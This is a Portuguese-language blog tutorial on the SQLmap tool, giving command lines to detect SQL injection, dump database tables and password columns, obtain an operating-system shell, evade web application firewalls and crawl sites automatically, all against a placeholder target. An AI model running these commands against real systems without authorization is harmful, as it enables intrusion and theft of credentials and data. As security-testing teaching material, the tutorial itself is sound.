Passo a Passo Completo: SQLmap

 

O SQLmap é uma das ferramentas mais poderosas para identificação e exploração de vulnerabilidades de SQL Injection. Ele automatiza o processo de injeção SQL, permitindo a extração de dados sensíveis de bancos de dados vulneráveis.

Este guia detalhado mostrará como instalar, configurar e utilizar o SQLmap para identificar e explorar falhas de segurança em aplicações web.


1. Instalação do SQLmap

O SQLmap é compatível com Windows, Linux e macOS e requer Python 3.x para funcionar.

No Windows

  1. Baixe o SQLmap do repositório oficial:

    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap
    
  2. Entre na pasta do SQLmap:

    cd sqlmap
    
  3. Execute o SQLmap:

    python sqlmap.py --help
    

No Linux/macOS

  1. Instale os pré-requisitos:

    sudo apt update && sudo apt install python3 git -y
    
  2. Clone o repositório:

    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap
    
  3. Acesse a pasta do SQLmap:

    cd sqlmap
    
  4. Teste a instalação:

    python3 sqlmap.py --help
    

2. Identificando Vulnerabilidades de SQL Injection

Antes de explorar um site, precisamos verificar se ele é vulnerável a SQL Injection.

Passo 1: Descobrir Parâmetros Injetáveis

Se tivermos um site com uma URL como:

http://target.com/index.php?id=1

Podemos testar a vulnerabilidade com:

python3 sqlmap.py -u "http://target.com/index.php?id=1" --dbs

Se o site for vulnerável, o SQLmap tentará extrair os bancos de dados disponíveis.

Passo 2: Identificando o Banco de Dados

Após descobrir que a URL é vulnerável, podemos listar o banco de dados:

python3 sqlmap.py -u "http://target.com/index.php?id=1" --current-db

Isso retorna o nome do banco de dados em uso.


3. Explorando Bancos de Dados Vulneráveis

3.1. Listando Tabelas

Para ver todas as tabelas de um banco de dados específico:

python3 sqlmap.py -u "http://target.com/index.php?id=1" -D nome_do_banco --tables

3.2. Listando Colunas de uma Tabela

Após descobrir o nome de uma tabela, podemos listar suas colunas:

python3 sqlmap.py -u "http://target.com/index.php?id=1" -D nome_do_banco -T nome_da_tabela --columns

3.3. Extraindo Dados Sensíveis

Se a tabela contém dados como usuários e senhas, podemos extraí-los:

python3 sqlmap.py -u "http://target.com/index.php?id=1" -D nome_do_banco -T nome_da_tabela -C usuario,senha --dump

4. Métodos Avançados de Exploração

4.1. Tentando Obter Acesso ao Sistema

Se a vulnerabilidade for crítica, podemos tentar acessar o shell do sistema:

python3 sqlmap.py -u "http://target.com/index.php?id=1" --os-shell

Isso permite executar comandos no servidor remoto.

4.2. Obtendo Credenciais do Banco de Dados

Para capturar usuários e senhas do banco de dados:

python3 sqlmap.py -u "http://target.com/index.php?id=1" --users --passwords

Se o banco armazenar credenciais em formato hash, podemos usar ferramentas como John the Ripper para quebrá-las.


5. Técnicas Específicas de SQL Injection

O SQLmap suporta diferentes tipos de injeção SQL. Algumas das mais comuns são:

5.1. Injeção Baseada em Erro

Testa a vulnerabilidade verificando mensagens de erro retornadas pelo banco de dados.

python3 sqlmap.py -u "http://target.com/index.php?id=1" --technique=E

5.2. Injeção Baseada em Tempo

Se o site não exibir erros, podemos testar usando atrasos temporais:

python3 sqlmap.py -u "http://target.com/index.php?id=1" --technique=T

5.3. Injeção UNION

Usa a cláusula UNION SELECT para recuperar dados do banco:

python3 sqlmap.py -u "http://target.com/index.php?id=1" --technique=U

6. Bypass de Proteções

Alguns sites possuem firewalls (WAFs) que bloqueiam ataques de SQL Injection. Podemos tentar contorná-los com:

6.1. Mudança de User-Agent

Algumas aplicações bloqueiam tráfego suspeito baseado no User-Agent. Para disfarçar a solicitação:

python3 sqlmap.py -u "http://target.com/index.php?id=1" --random-agent

6.2. Evitar Detecção com Codificação

Para evitar filtros de segurança, podemos codificar os ataques:

python3 sqlmap.py -u "http://target.com/index.php?id=1" --tamper=space2comment

O tamper script modifica a injeção para evitar bloqueios.


7. Melhorando a Eficiência dos Ataques

7.1. Executando o SQLmap com Multithreading

Se quisermos acelerar os testes:

python3 sqlmap.py -u "http://target.com/index.php?id=1" --threads=5

7.2. Automatizando a Injeção

Se quisermos que o SQLmap teste automaticamente todos os parâmetros de um site:

python3 sqlmap.py -u "http://target.com/index.php" --crawl=3 --batch

Isso varre o site e testa todas as URLs.


8. Conclusão

O SQLmap é uma ferramenta essencial para pentesters e analistas de segurança. Ele permite detectar, explorar e testar falhas de SQL Injection de forma automatizada e eficiente.

Resumo das habilidades aprendidas:

✅ Instalar e configurar o SQLmap.
✅ Testar SQL Injection em sites vulneráveis.
✅ Extração de dados de bancos de dados.
✅ Executar comandos remotos via SQL Injection.
✅ Bypass de proteções como WAFs e Firewalls.
✅ Automatizar testes de vulnerabilidades.

Com essas técnicas, você pode melhorar suas habilidades em testes de segurança e proteger sistemas contra ameaças reais! 🚀

Postar um comentário

0 Comentários